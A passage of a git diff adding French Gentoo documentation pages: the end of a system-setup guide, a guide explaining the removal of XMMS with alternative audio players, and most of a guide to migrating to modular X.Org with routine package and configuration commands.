+    de votre machine (le «&nbsp;FQDN&nbsp;») suivi du nom de la machine. Par
+    exemple&nbsp;: <c>192.168.0.10 tux.mondomaine tux</c>.
+  </li>
+  <li>
+    Si vous utilisez une adresse IP dynamique ou si vous n'avez pas de carte
+    réseau du tout, veuillez ajouter le nom de votre machine à la fin de la
+    ligne localhost, par exemple <c>127.0.0.1 localhost tux</c>.
+  </li>
+</ul>
+
+<p>
+Vérifiez que le DMA est activé pour vos disques durs&nbsp;:
+</p>
+
+<pre caption="Vérifier le DMA">
+# <i>hdparm /dev/hda</i>
+<comment>(...)</comment>
+using_dma       = 1 (on)
+<comment>(...)</comment>
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/fr/desktop/sound/xmms.xml b/xml/htdocs/proj/fr/desktop/sound/xmms.xml
new file mode 100644
index 00000000..0817f1c0
--- /dev/null
+++ b/xml/htdocs/proj/fr/desktop/sound/xmms.xml
@@ -0,0 +1,212 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/desktop/sound/xmms.xml,v 1.3 2008/09/13 23:16:24 cam Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/fr/desktop/sound/xmms.xml" lang="fr">
+
+<title>Le pourquoi du comment du retrait de XMMS</title>
+
+<author title="Auteur">
+  <mail link="kopp@gentoo-userreps.org">Bertrand Coppa</mail>
+</author>
+<author title="Auteur">
+  <mail link="amne@gentoo.org">Wernfried Haas</mail>
+</author>
+<author title="Collaborateur">
+  <mail link="nattfodd@gentoo.org">Alexandre Buisse</mail>
+</author>
+
+<abstract>
+Cette page explique pourquoi XMMS a été retiré de l'arbre Portage et apporte un
+peu d'aide pour gérer cette situation.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2006-10-29</date>
+
+<chapter>
+<title>Pourquoi retirer XMMS&nbsp;?</title>
+<section>
+<body>
+
+<p>
+La semaine dernière, le masquage de XMMS en préparation de son futur retrait a
+fait beaucoup de bruit. Des discussions emportées ont eu lieu sur les forums et
+le bugzilla de Gentoo, évoquant des théories de conspiration, des insultes
+honteuses étant proférées, etc. La vérité est que la décision de son retrait de
+l'arbre a été prise après de nombreux débats entre développeurs et utilisateurs
+Gentoo et pour le mieux de Gentoo, bien que nombre d'entre nous aimions XMMS.
+</p> 
+
+<p>
+XMMS est utilisé depuis longtemps et par beaucoup. Malheureusement, son
+développement a été interrompu il y a un certain temps et, depuis, les
+problèmes ont apparu. Les développeurs Gentoo devaient le maintenir et gérer la
+mauvaise conception. Finalement, plus personne ne s'en occupait et les bogues
+ouverts se sont accumulés, dépassant le nombre de 30. De plus, il dépendait de
+la version 1 de GTK+ qui est vieille, ne supporte pas l'UTF-8 et n'est plus
+supportée non plus par ses développeurs.
+</p>
+
+<p>
+Metalgod, l'actuel mainteneur, a décidé de démissioner de cette tâche car XMMS
+était irrécupérable et puisque personne n'a voulu prendre la relève, il a été
+décidé que le support serait abandonné dans l'arbre principal Portage, Gentoo ne
+pouvant bien évidemment pas se permettre d'offrir des paquets non maintenus.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Alternatives</title>
+<section>
+<body>
+
+<ul>
+<li>
+  <b>Audacious</b> est un sosie de XMMS écrit en GTK2. Il supporte les thèmes
+  XMMS mais ne se comporte pas exactement pareil. Plusieurs greffons sont
+  disponibles comme audacious-docklet qui ajoute une icône dans la barre des
+  tâches, audtty qui vous permet de contrôler audacious en ligne de commande,
+  audacious-crossfade qui permet une sortie continue ainsi que le
+  «&nbsp;fading&nbsp;» à la fin d'une piste et bien d'autres à venir ou déjà
+  disponibles. Il y a un <uri
+  link="https://forums.gentoo.org/viewtopic-t-510532.html">sujet</uri> sur le
+  forum où l'on peut demander le portage de greffon depuis XMMS.
+</li>
+<li>
+  <b>MPD</b>&nbsp;: Music Player Deamon est un autre bon lecteur qui utilise une
+  architecture serveur/client. Vous pouvez même le lancer au démarrage et avoir
+  de la musique avant d'arriver sur votre bureau. Il y a de nombreux clients et
+  bien évidemment certains n'ont pas besoin de X comme ncmpc qui utilise
+  ncurses.
+</li>
+<li>
+  <b>Amarok</b>&nbsp;: populaire et très complet, considéré par beaucoup comme
+  le meilleur lecteur disponible. Amarok était à l'origine développé pour KDE et
+  fait presque tout, sauf la vaisselle.
+</li>
+<li>
+  <b>Rhythmbox</b>&nbsp;: Rhythmbox se situe dans la même catégorie qu'Amarok
+  mais est conçu pour Gnome. Les deux sont comparables à iTunes.
+</li>
+<li>
+  <b>Banshee</b>&nbsp;: Banshee fait aussi partie de la catégorie poids-lourds
+  des lecteurs audio. De nombreux greffons sont disponibles ou en développement.
+  Il utilise Mono.
+</li>
+<li>
+  <b>Muine</b>&nbsp;: un lecteur audio simple pour Gnome qui tourne sur
+  l'interface Mono. L'interface est simple et il supporte les greffons.
+</li>
+<li>
+  <b>Listen</b>&nbsp;: Listen est un lecteur audio prometteur, lui aussi dans la
+  catégorie poids-lourds. Il est conçu pour Gnome mais ne fait pas non plus la
+  vaisselle.
+</li>
+<li>
+  <b>mpg123</b>&nbsp;: catégorie tout autre ici. mpg123 est un lecteur en ligne
+  de commande pour ceux d'entre vous qui n'aiment pas les interfaces graphiques
+  ou n'y ont pas accès pour le moment.
+</li>
+<li>
+  <b>Quod Libet</b>&nbsp;: un lecteur de musique GTK+2 écrit en Python. Il est
+  très complet et dispose même d'un mode d'édition des étiquettes. Il y a un
+  certain nombre de greffons disponibles pour rajouter des fonctionnalités.
+</li>
+</ul> 
+
+<p>
+Si vous ne pouvez vraiment pas vous séparer de XMMS, vous pouvez toujours
+conserver les ebuilds dans un <uri
+link="http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=3&amp;chap=5">répertoire
+superposé</uri>.
+</p>
+
+</body> 
+</section> 
+</chapter>
+
+<chapter>
+<title>Désinstaller XMMS</title>
+<section>
+<body>
+
+<p>
+Pour proprement retirer XMMS de votre système, procédez comme suit&nbsp;:
+</p>
+
+<ul>
+<li>
+  Vérifiez que l'option xmms de la variable USE n'est pas présente dans
+  <c>/etc/make.conf</c> et <c>/etc/portage/package.use</c>. Si c'est le cas,
+  retirez-la. La commande <c>grep xmms /etc/make.conf
+  /etc/portage/package.use</c> ne devrait rien retourner.
+</li>
+<li>Synchronisez votre arbre Portage&nbsp;: <c>emerge --sync</c>.</li>
+<li>
+  Désinstallez XMMS et tous ses greffons. Pour obtenir une liste, vous pouvez
+  par exemple utiliser <c>equery -qc list xmms -i</c>. Vous pouvez comparer
+  cette liste avec ce que <c>grep xmms /usr/portage/profiles/package.mask</c>
+  retourne.
+</li>
+<li>
+  Recompiler votre système sans l'option xmms de la variable USE&nbsp;:
+  <c>emerge -auvDN world</c>.
+</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Points de vue des développeurs</title>
+<section>
+<body>
+
+<p>
+Voilà quelques liens intéressants vers les blogs (en anglais) de certains
+développeurs&nbsp;:
+</p>
+
+<ul>
+<li>
+  <uri
+  link="http://farragut.flameeyes.is-a-geek.org/articles/2006/10/23/my-personal-birthday-present">Flameeyes</uri>
+</li>
+<li>
+  <uri
+  link="http://planet.gentoo.org/developers/seemant/2006/10/27/on_masking_popular_packages_xmms">Seemant</uri>
+</li>
+<li>
+  <uri
+  link="http://planet.gentoo.org/developers/metalgod/2006/10/29/xmms_final_thoughts">Metalgod</uri>
+</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Adieu</title>
+<section>
+<body>
+
+<p>
+Après des années d'utilisation de XMMS, il est temps de retourner l'adieu publié
+sur le <uri link="http://xmms.org">site de XMMS</uri>. Merci à l'équipe de XMMS
+pour nous avoir amené ce sympathique logiciel et adieu, vieux marin&nbsp;! :-)
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/fr/desktop/x/x11/modular-x-howto.xml b/xml/htdocs/proj/fr/desktop/x/x11/modular-x-howto.xml
new file mode 100644
index 00000000..62717737
--- /dev/null
+++ b/xml/htdocs/proj/fr/desktop/x/x11/modular-x-howto.xml
@@ -0,0 +1,669 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Id: modular-x-howto.xml,v 1.14 2007/04/16 15:14:55 cam Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/fr/desktop/x/x11/modular-x-howto.xml" lang="fr">
+<title>Guide de migration vers X.Org modulaire</title>
+
+<author title="Auteur">
+  <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+<author title="Auteur">
+  <mail link="joshuabaergen@gentoo.org">Joshua Baergen</mail>
+</author>
+<author title="Traducteur">
+  <mail link="koppatroopa@yahoo.fr">Bertrand Coppa</mail>
+</author>
+
+<abstract>
+Ce guide vous explique comment migrer vers la version modulaire de X.Org.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1.2</version>
+<date>2006-11-05</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>Pourquoi une version modulaire&nbsp;?</title>
+<body>
+
+<p>
+Vous vous demandez sûrement pourquoi changer un simple et unique paquet
+xorg-x11 en environ 300 paquets séparés. Cela est justifié. Ce n'est pas Gentoo
+qui a fait ce choix indépendamment du projet X.Org&nbsp;; ce sont leurs
+développeurs qui ont décidé de séparer tous ces paquets, et nous ne faisons que
+suivre.
+</p>
+
+<p>
+Les trois principales raisons de cette division et de ce changement dans le
+système de compilation sont&nbsp;:
+</p>
+
+<ul>
+  <li>
+    Il est trop difficile pour les nouveaux développeurs de se plonger dans X,
+    d'où la migration vers autotools, un système avec lequel beaucoup se
+    sentent à l'aise, si ce n'est heureux.
+  </li>
+  <li>
+    Autotools permet la séparation des sources, aussi le système devient plus
+    abordable pour les développeurs.
+  </li>
+  <li>
+    Les choses ont été par le passé, sans que cela soit nécessaire, liées les
+    unes aux autres et cela a rendu la publication de correctifs de bogue
+    souvent impossible. Si les développeurs arrivaient à publier un correctif,
+    il fallait à chaque fois recompiler entièrement X.Org. Par exemple, pour un
+    bogue dans les pilotes Ati, il vous fallait soit attendre 6 mois pour la
+    version suivante, soit aussi recompiler vos fontes de caractères pour le
+    corriger, sans aucune raison.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Migration vers X modulaire</title>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+Pour empêcher les vieux paquets de perturber l'opération, nous allons nettoyer
+complètement l'ancien xorg-x11 avant d'installer X modulaire. Ce n'est pas
+absolument crucial, mais cela aidera à assurer une migration sans accroc.
+</p>
+
+</body>
+</section>
+<section>
+<title>Première étape&nbsp;: nettoyage de l'ancien X</title>
+<body>
+
+<p>
+Vous voudrez certainement une copie de sauvegarde du xorg-x11 monolithique au
+cas où les choses tourneraient mal et que vous voulez retourner vers la version
+6.x. Vous pouvez aussi installer un navigateur en mode texte tel que links ou
+lynx pour consulter ce guide lorsque X ne sera pas disponible.
+</p>
+
+<pre caption="Sauvegarder l'ancien xorg-x11">
+# <i>emerge gentoolkit</i>
+# <i>quickpkg xorg-x11</i>
+</pre>
+
+<p>
+Débarrassez-vous de l'installation monolithique. Pour éviter de crasher ou de
+geler votre système, vous voudrez sûrement quitter toutes les sessions X
+ouvertes avant de désinstaller X.org.
+</p>
+
+<pre caption="Désinstallation de la version monolithique">
+# <i>emerge -Ca xorg-x11 virtual/x11</i>
+</pre>
+
+<p>
+Si <path>/usr/X11R6</path> n'est pas un lien symbolique vers <path>/usr</path>,
+effacez-le et partez de zéro. Mais d'abord, établissez une liste de tous les
+paquets s'installant dans ce répertoire. L'utilitaire <c>equery</c> est
+disponible avec le paquet <c>gentoolkit</c>.
+</p>
+
+<pre caption="Établir la liste des paquets">
+# <i>if [[ ! -L /usr/X11R6 ]]; \
+    then equery belongs /usr/X11R6 > ~/usr-x11r6-packages \
+    &amp;&amp; rm -rf /usr/X11R6; fi</i>
+</pre>
+
+<p>
+Enfin, si <path>/usr/lib/X11/xkb</path> (<path>/usr/lib64/X11/xkb</path> sur
+les systèmes 64 bits) existe, il doit être supprimé. Cela est nécessaire pour
+pouvoir installer le paquet <c>xkeyboard-config</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Seconde étape&nbsp;: installer le X modulaire</title>
+<body>
+
+<p>
+Pour avoir accès au «&nbsp;direct rendering&nbsp;», vérifiez que votre variable
+USE comprend l'option <c>dri</c>. Elle devrait être activée par défaut.
+</p>
+
+<p>
+Ensuite, choisissez quels sont les pilotes à installer. Cela dépend de votre
+matériel vidéo et de vos périphériques d'entrée. Si vous avez déjà un fichier
+de configuration <path>/etc/X11/xorg.conf</path> fonctionnel, alors il vous
+suffit d'utiliser cette commande pour avoir une idée des pilotes dont vous avez
+besoin&nbsp;:
+</p>
+
+<pre caption="Trouver les pilotes dont on a besoin">
+# <i>grep Driver /etc/X11/xorg.conf</i>
+  Driver      "kbd"
+  Driver      "mouse"
+  Driver      "radeon"
+</pre>
+
+<pre caption="Lister les pilotes disponibles">
+# <i>emerge --verbose --pretend xorg-x11</i>
+[ebuild   R   ] x11-base/xorg-x11-7.0-r1  USE="-xprint" INPUT_DEVICES="keyboard
+mouse -acecad -aiptek -calcomp -citron -digitaledge -dmc -dynapro -elo2300
+-elographics -evdev -fpit -hyperpen -jamstudio -joystick -magellan -magictouch
+-microtouch -mutouch -palmax -penmount -spaceorb -summa -synaptics% -tek4957
+-ur98 -vmmouse -void" VIDEO_CARDS="i128 mga radeon savage -apm -ark -chips
+-cirrus -cyrix -dummy -fbdev -fglrx% -glint -i740 -i810 -imstt -neomagic
+-newport -nsc -nv -nvidia% -rendition -s3 -s3virge -siliconmotion -sis
+-sisusb -sunbw2 -suncg14 -suncg3 -suncg6 -sunffb -sunleo -suntcx -tdfx -tga
+-trident -tseng -v4l -vesa -vga -via -vmware -voodoo" 0 kB
+</pre>
+
+<p>
+Configurez INPUT_DEVICES et VIDEO_CARDS selon vos besoins dans le fichier
+<path>/etc/make.conf</path>. Les paramètres minimaux pour l'exemple ci-dessus
+seraient INPUT_DEVICES="<c>keyboard mouse</c>" VIDEO_CARDS="<c>radeon</c>". Si
+vous ne configurer pas une de ces variables, xorg-x11 installera tous les
+pilotes disponibles correspondants. En tant que pilotes de secours, il peut
+être intéressant d'ajouter <c>vesa</c> et <c>fbdev</c> à VIDEO_CARDS.
+</p>
+
+<p>
+Maintenant, installez le méta-paquet. Cela installera le serveur et les
+applications usuelles, vous donnant accès à une implémentation fonctionnelle de
+X.
+</p>
+
+<pre caption="Installer le méta-paquet modulaire">
+# <i>emerge xorg-x11</i>
+# <i>etc-update</i>
+# <i>[[ -e ~/usr-x11r6-packages ]] &amp;&amp; emerge $(&lt;~/usr-x11r6-packages)</i>
+# <i>revdep-rebuild</i>
+</pre>
+
+<note>
+Si vous souhaitez vraiment une installation minimale, installez seulement
+<c>xorg-server</c>. Cela n'installera que le strict nécessaire pour démarrer un
+serveur X.
+</note>
+
+<p>
+Remarquez que cette installation est plutôt minimaliste, donc les choses comme
+xcursor-themes ne seront pas installées par défaut. Pour cet exemple précis, il
+vous faudra installer xcursor-themes si vous avez changé les réglages de votre
+curseur en whiteglass, redglass ou handhelds. Si vous utilisez les thèmes de
+curseur gentoo, gentoo-blue ou gentoo-silver, il faut alors installer
+gentoo-xcursors.
+</p>
+
+<note>
+Une fois la version modulaire installée, certains pilotes externes comme
+nvidia-glx et wacom tout comme certaines applications vnc risquent de ne pas
+fonctionner s'ils installent des choses dans <path>/usr/lib/modules</path> au
+lieu de <path>/usr/lib/xorg/modules</path>. Une détection de X modulaire a été
+ajoutée au processus d'installation de la plupart d'entre eux, ainsi ils auront
+besoin d'être réinstallés après l'installation de X modulaire. De plus, la
+plupart des pilotes externes ont une option USE <c>dlloader</c> que vous devrez
+activer, avant de recompiler le pilote en question.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Remarques/problèmes usuels</title>
+<section>
+<title>'emerge -u world' veut installer xorg-x11 6.x ou virtual/x11</title>
+<body>
+
+<p>
+Cela est dû au fait que l'arbre n'est pas encore adapté aux dépendances vers X
+modulaire. Vous pouvez aider à la transition en lisant le <uri
+link="porting-modular-x-howto.xml">Guide de portage vers X modulaire</uri> et
+en remplissant des bogues avec les correctifs pour les mainteneurs des paquets.
+Les noms des mainteneurs sont listés dans le fichier <path>metadata.xml</path>
+dans le répertoire du paquet. Le paquet <c>herdstat</c> peut vous aider dans
+vos recherches.
+</p>
+
+<p>
+Vous rencontrerez ce problème en particulier si vous installez X modulaire sur
+un système utilisant la branche stable pour les autres paquets. Beaucoup de
+paquets ne fonctionnent avec X modulaire que dans leurs versions ~arch, aussi
+vous devrez peut-être ajouter d'autres paquets dans
+<path>/etc/portage/package.keywords</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Qu'est-il advenu de toutes les options de la variable USE&nbsp;?</title>
+<body>
+
+<p>
+De nombreuses options USE de la série xorg-x11-6.8 ont disparu ou changé pour
+la 7.0. De nouvelles sont aussi apparues. En voici la description&nbsp;:
+</p>
+
+<table>
+<tr>
+  <th>Variable USE</th>
+  <th>Qu'en est-il avec la 7.0&nbsp;?</th>
+</tr>
+<tr>
+  <ti>3dfx</ti>
+  <ti>Dans la 7.0, intègre glide-v3 depuis le méta-paquet xorg-x11.</ti>
+</tr>
+<tr>
+  <ti>3dnow, mmx, sse</ti>
+  <ti>
+    Activées par defaut lors de la compilation, car des contrôles sont
+    effectués
+  </ti>
+</tr>
+<tr>
+  <ti>bitmap-fonts, truetype-fonts, type1-fonts</ti>
+  <ti>
+    Le méta-paquet xorg-x11 n'installe qu'une petite sélection des fontes les
+    plus utilisées ou nécessaires. Vous pouvez installer en plus toutes celles
+    qui se trouvent dans la catégorie media-fonts/.
+  </ti>
+</tr>
+<tr>
+  <ti>cjk</ti>
+  <ti>
+    USE=nls pour font-misc-misc and font-sony-misc permet d'obtenir les fontes
+    japonaises JISX0201. D'autres sont disponibles dans font-jis-misc. Les
+    fontes chinoises se trouvent dans font-isas-misc. Les fontes coréennes
+    sont dans font-daewoo-misc
+  </ti>
+</tr>
+<tr>
+  <ti>dlloader</ti>
+  <ti>La 7.0 utilise dlloader par défaut et elfloader ne fonctionne pas</ti>
+</tr>
+<tr>
+  <ti>doc</ti>
+  <ti>Remplacé par app-doc/xorg-docs</ti>
+</tr>
+<tr>
+  <ti>dmx</ti>
+  <ti>Compilé avec xorg-server sauf avec l'option USE=minimal</ti>
+</tr>
+<tr>
+  <ti>font-server</ti>
+  <ti>Il faut installer manuellement xfs</ti>
+</tr>
+<tr>
+  <ti>ipv6</ti>
+  <ti>
+    Adaptée seulement aux paquets l'utilisant. Réglez-la de manière globale si
+    vous la voulez.
+  </ti>
+</tr>
+<tr>
+  <ti>minimal</ti>
+  <ti>
+    Pour obtenir le même effet, installez uniquement xorg-server à la place de
+    xorg-x11. L'option minimal pour xorg-server permet de ne pas compiler Xdmx,
+    Xvfb et Xnest. Si vous avez besoin de quelque chose d'encore plus minimal,
+    orientez-vous vers x11-base/kdrive.
+  </ti>
+</tr>
+<tr>
+  <ti>nls</ti>
+  <ti>
+    Dans la 7.0, USE=nls installe toutes les versions non-ISO8859-1 des fontes.
+  </ti>
+</tr>
+<tr>
+  <ti>nocxx</ti>
+  <ti>Pas encore d'équivalent pour la 7.0</ti>
+</tr>
+<tr>
+  <ti>opengl</ti>
+  <ti>
+    Changée en «&nbsp;dri&nbsp;» qui active le rendu direct («&nbsp;direct
+    rendering&nbsp;») dans xorg-server et de nombreux pilotes. Que USE=dri soit
+    activé ou non, vous devriez toujours avoir de la 3D logicielle via Mesa.
+  </ti>
+</tr>
+<tr>
+  <ti>pam</ti>
+  <ti>
+    S'applique uniquement aux paquets qui l'utilisent tels que xorg-server et
+    xdm.
+  </ti>
+</tr>
+<tr>
+  <ti>sdk</ti>
+  <ti>La 7.0 doit installer le SDK à cause de la modularisation.</ti>
+</tr>
+<tr>
+  <ti>static</ti>
+  <ti>
+    Cela n'a presque aucun sens de vouloir compiler un serveur statique dans un
+    monde modulaire, car les pilotes ne peuvent être compilés avec.
+  </ti>
+</tr>
+<tr>
+  <ti>xprint</ti>
+  <ti>
+    Pour le méta-paquet, cela intègre libXp. Pour les autres applications, cela
+    intègre le support pour xprint. La plupart des gens n'ont pas besoin de
+    cette option.
+  </ti>
+</tr>
+<tr>
+  <ti>xv</ti>
+  <ti>
+    N'est plus une option, car cela n'engendre presque aucun gain de place et
+    pose problème avec certains paquets qui s'attendent à ce qu'elle soit
+    activée.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Qu'est-il advenu des fichiers de configurations&nbsp;?</title>
+<body>
+
+<p>
+Dans le paquet X.Org 6.8 de Gentoo, tous les fichiers de configuration et les
+scripts étaient dans le répertoire <path>/etc/X11</path>. Dans X.Org modulaire,
+l'emplacement par défaut de ces fichiers a changé, c'est-à-dire que les
+fichiers de configuration sont toujours dans <path>/etc/X11</path>, mais les
+scripts et les configurations par défaut se trouvent maintenant dans
+<path>/usr/lib/X11</path> (ou <path>/usr/lib64/X11</path>) et
+<path>/usr/share/X11</path>.
+</p>
+
+<p>
+À cause de la protection des fichiers de configurations (CONFIG_PROTECT), vous
+aurez certainement encore tous vos vieux fichiers de configuration de X.Org 6.8
+dans <path>/etc/X11</path>&nbsp;; ces fichiers prennent inutilement de la place
+et peuvent vous induire en erreur quant à leur utilité.
+</p>
+
+<p>
+Puisque ces nouveaux répertoires ne sont pas dans CONFIG_PROTECT, il est
+important que tout changement apporté à la configuration par défaut soit fait
+en copiant les fichiers concernés dans <path>/etc/X11</path> et en faisant les
+changement dans ce répertoire. Une autre méthode, mais qui n'est pas
+recommandée, consiste à ajouter le nouvel emplacement dans CONFIG_PROTECT.
+Ci-dessous se trouvent deux exemples&nbsp;:
+</p>
+
+<pre caption="Personnaliser l'initialisation de XDM">
+<comment>(D'abord, copiez le fichier Xsetup_0 dans /etc pour qu'il soit protégé.)</comment>
+# <i>cp -a /usr/lib/X11/xdm/Xsetup_0 /etc/X11/xdm/</i>
+<comment>(Modifiez le fichier comme cela vous convient.
+Puis modifiez xdm-config pour changer le chemin vers ce fichier.)</comment>
+# <i>nano /etc/X11/xdm/xdm-config</i>
+<comment>(Changez ceci :)</comment>
+! The following three resources set up display :0 as the console.
+DisplayManager._0.setup:        /usr/lib/X11/xdm/Xsetup_0
+DisplayManager._0.startup:      /usr/lib/X11/xdm/GiveConsole
+DisplayManager._0.reset:        /usr/lib/X11/xdm/TakeConsole
+<comment>(en cela :)</comment>
+! The following three resources set up display :0 as the console.
+<i>DisplayManager._0.setup:        /etc/X11/xdm/Xsetup_0</i>
+DisplayManager._0.startup:      /usr/lib/X11/xdm/GiveConsole
+DisplayManager._0.reset:        /usr/lib/X11/xdm/TakeConsole
+</pre>
+
+<note>
+Sur les systèmes 64&nbsp;bits multilib avec le profil no-symlink, il faut
+changer <c>lib</c> en <c>lib64</c>.
+</note>
+
+<p>
+Dans cet exemple proposé par Joe Womack, nous allons configurer quelques
+paramètres de <c>xterm</c>. Cela peut être fait soit globalement par
+l'administrateur, soit par chaque utilisateur selon ses préférences.
+</p>
+
+<pre caption="Configuration globale d'app-defaults/XTerm-color">
+<comment>
+Comme précédemment, créez une copie du fichier dans /etc/ afin de
+bénéficier de la protection des fichiers de configuration&nbsp;:
+</comment>
+# <i>cp -a /usr/share/X11/app-defaults/XTerm-color /etc/X11/app-defaults/</i>
+<comment>
+Éditez le fichier selon vos préférences. Nous devons maintenant informer Xt de
+l'emplacement du fichier à travers la variable XFILESEARCHPATH. Configurez
+cette variable dans un fichier placé dans /etc/env.d&nbsp;:
+</comment>
+# <i>echo '# Emplacement global des fichiers de configuration des applications X' >> /etc/env.d/10xpaths</i>
+# <i>echo 'XFILESEARCHPATH=/etc/X11/%T/%N:/usr/share/X11/%T/%N' >> /etc/env.d/10xpaths</i>
+</pre>
+
+<pre caption="Configuration de app-defaults/XTerm-color par les utilisateurs">
+<comment>Cela peut être fait de deux façons&nbsp;:</comment>
+<comment>1) Configurez un répertoire « app-defaults » par utilisateur&nbsp;:</comment>
+# <i>echo '# Emplacement par utilisateur des fichiers de configuration des applications X' >> /etc/env.d/10xpaths </i>
+# <i>echo 'XUSERFILESEARCHPATH=$HOME/%T/%N' >> /etc/env.d/10xpaths</i>
+
+<comment>
+2) Créez un fichier .Xdefault ou .Xresources et copiez-y les paramètres que
+vous souhaitez modifier. Dans cet exemple, on personnalisera les Xterm pour
+qu'ils aient un curseur orange, qu'ils se comportent comme un terminal
+interactif, qu'ils aient une barre de défilement, ainsi qu'un historique de
+1000 lignes&nbsp;:
+</comment>
+# <i>echo '! Xterm defaults'               >> .Xresources</i>
+# <i>echo 'XTerm*CursorColor:      orange' >> .Xresources</i>
+# <i>echo 'XTerm*loginShell:       true'   >> .Xresources</i>
+# <i>echo 'XTerm*scrollBar:        true'   >> .Xresources</i>
+# <i>echo 'XTerm*saveLines:        1000'   >> .Xresources</i>
+
+<comment>
+Pour appliquer ces paramètres, relancez X ou bien utilisez la commande&nbsp;:
+</comment>
+# <i>xrdb -merge $HOME/.Xresources</i>
+</pre>
+
+<note>
+Consultez la page
+<uri>http://www.faqs.org/faqs/x-faq/part2/section-22.html</uri> pour plus de
+détails sur la configuration des variables XFILESEARCHPATH et
+XUSERFILESEARCHPATH.  Consultez la page
+<uri>http://tldp.org/HOWTO/XWindow-User-HOWTO/moreconfig.html#XRESOURCES</uri>
+pour plus de détails sur le fichier <path>.Xresources</path>.
+</note>
+
+</body>
+</section>
+<section>
+<title>Problèmes de pilotes</title>
+<body>
+
+<p>
+Il a été rapporté que&nbsp;:
+</p>
+
+<ul>
+  <li>vesa bloque la machine avec les cartes Matrox</li>
+  <li>
+    vga donne un affichage très étrange, l'écran étant divisé en quatre.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Faire fonctionner l'accélération 3D</title>
+<body>
+
+<p>
+Ces programmes sont maintenant fournis par <c>x11-apps/mesa-progs</c>.
+<c>mesa-progs</c> est automatiquement installé par <c>x11-base/xorg-x11</c>.
+</p>
+
+<p>
+Pour obtenir des informations de débogage afin de faire fonctionner le rendu
+direct&nbsp;:
+</p>
+
+<pre caption="Obtenir des informations de débogage ">
+# <i>grep -e EE -e WW /var/log/Xorg.0.log</i>
+# <i>LIBGL_DEBUG=verbose glxinfo</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Auto-détection du protocole de la souris</title>
+<body>
+
+<p>
+Si vous avez configuré votre souris avec <c>Protocol "auto"</c> dans xorg.conf,
+cela risque de ne pas fonctionner. Il vous faudra alors spécifier <c>Protocol
+"ExplorerPS/2"</c> ou <c>"IMPS/2"</c> pour que votre molette fonctionne.
+</p>
+
+</body>
+</section>
+<section>
+<title>Un message d'erreur me dit que libbitmap ou libpcidata est
+introuvable</title>
+<body>
+
+<p>
+Assurez-vous qu'il n'y ait aucune ligne <c>ModulePath</c> dans le fichier
+<path>/etc/X11/xorg.conf</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>gdm/kdm ne fonctionne pas</title>
+<body>
+
+<p>
+Si vous avez installé X modulaire sur une nouvelle installation Gentoo, il se
+peut que vous n'ayez pas le lien symbolique <path>/usr/X11R6</path> -&gt;
+<path>/usr</path>. Le paquet <c>x11-base/xorg-x11</c> s'assurera que ce lien
+existe durant le processus d'installation.
+</p>
+
+<p>
+Vous pouvez aider à sortir les choses de <path>/usr/X11R6</path> en corrigeant
+les paquets qui s'y installent et en remplissant des rapports de bogue.
+N'oubliez pas non plus de réinstaller ces paquets.
+</p>
+
+<pre caption="Paquets qui s'installent dans /usr/X11R6">
+# <i>cat ~/usr-x11r6-packages</i>
+# <i>emerge --pretend $(&lt; ~/usr-x11r6-packages )</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>XKB ne marche pas, impossible changer de terminal virtuel, etc.</title>
+<body>
+
+<ul>
+  <li>
+    De nombreuses dispositions de clavier XKB ont été déplacées, consolidées ou
+    ont disparu. Regardez le répertoire
+    <path>/usr/share/X11/xkb/symbols/</path> pour voir ce qu'il est advenu de
+    votre ancien paramètre XkbLayout de xorg.conf. Par exemple, pour remplacer
+    la disposition "us_intl", vous devriez mettre <c>XkbLayout "latin"</c>,
+    <c>XkbOptions "lv3:ralt_switch"</c>. Pour remplacer la disposition
+    "sk_qwerty", il faut mettre <c>XkbLayout "sk", XkbVariant "qwerty"</c>. Cas
+    plus compliqué, vous avez <c>XkbLayout "us,sk_qwerty"</c>. Pour le faire
+    fonctionner, le nouveau paramètre serait <c>XkbLayout "us,sk"</c>, et
+    l'astuce, c'est la virgule dans <c>XkbVariant ",qwerty"</c>, parce qu'on
+    veut que la variante s'applique à la seconde disposition.
+  </li>
+</ul>
+
+<pre caption="Rechercher les changements de XKB">
+<comment>(Recherhez dans /var/log/Xorg.0.log le message suivant :)</comment>
+(WW) Couldn't load XKB keymap, falling back to pre-XKB keymap
+<comment>(Si vous n'avez pas ce message, XKB fonctionne déjà.)</comment>
+# <i>grep Xkb /etc/X11/xorg.conf</i>
+ Option "XkbModel"  "logibik"
+ Option "XkbLayout"  "dvorak"
+ Option "XkbOptions" "ctrl:swapcaps"
+<comment>(D'abord, regardez ce qui a changé pour votre disposition. Cela se
+trouve dans le repertoire symbols/pc.)</comment>
+# <i>cd /usr/share/X11/xkb/symbols/</i>
